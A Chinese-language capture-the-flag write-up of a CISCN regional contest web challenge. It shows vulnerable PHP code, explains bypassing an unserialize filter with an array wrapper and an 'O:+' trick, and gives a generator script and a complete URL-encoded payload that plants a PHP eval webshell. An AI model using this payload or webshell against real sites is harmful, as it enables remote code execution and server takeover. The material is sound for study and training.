前言
ciscn华中赛区线下赛让我认识到自己是真的菜。。。
总结一下这次比赛吧。
web1
<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);
class BlogLog {
public $log_ = '/tmp/web_log';
public $content = '[access] %s';
public function __construct($data=null) {
$temp = $this->init($data);
$this->render($temp);
}
public function init($data) {
// No, you can't control an object anymore!
$format = '/O:\d:/';
$flag = true;
$flag = $flag && substr($data, 0, 2) !== 'O:';
$flag = $flag && (!preg_match($format, $data));
if ($flag){
return unserialize($data);
}
return [];
}
public function createLog($filename=null, $content=null) {
if ($this->log_ != null)
$filename = $this->log_;
if ($this->content != null)
$content = $this->content;
file_put_contents($filename, $content);
}
public function render($k) {
echo sprintf($this->content, $k['name']);
}
public function __destruct() {
$this->createLog();
}
}
$data = "";
if (isset($_GET['data'])){
$data = $_GET['data'];
new BlogLog($data);
}
else
highlight_file(__FILE__);
代码审计。
这里init里面存在反序列化,而这个类的析构函数执行了createLog()函数,而createLog()里存在file_put_contents()函数,这个函数把$content内容写入$fliename。而这两个变量可以通过反序列化控制。
而反序列化时存在过滤。第一步:
substr($data, 0, 2) !== 'O:'
这个我们可以通过数组来绕过对对象反序列化的检测。即反序列化的是一个数组,数组里有对象反序列化值,这样就绕过这层过滤。
$format = '/O:\d:/';
(!preg_match($format, $data));
这里可用通过+号来绕过检测。
所以构造playload:
<?php
class BlogLog {
public $log_ = './alex.php';
public $content = "\<\?php eval(\$_POST['alex']);";
}
$a=new BlogLog();
$arr=array('1'=>'alex',$a);
echo serialize($arr);
playload:
http://localhost/web1/web1.php?data=a%3A2%3A%7Bi%3A1%3Bs%3A4%3A%22alex%22%3Bi%3A2%3BO%3A%2b7%3A%22BlogLog%22%3A2%3A%7Bs%3A4%3A%22log_%22%3Bs%3A10%3A%22.%2falex.php%22%3Bs%3A7%3A%22content%22%3Bs%3A27%3A%22%3C%3Fphp%20eval%28%24_POST%5B%27alex%27%5D%29%3B%22%3B%7D%7D
这里进行了url编码是为了防止传输过程中符号被转义。(自行把<两边的反斜线去除,才能得到shell)
这样就获得webshell了。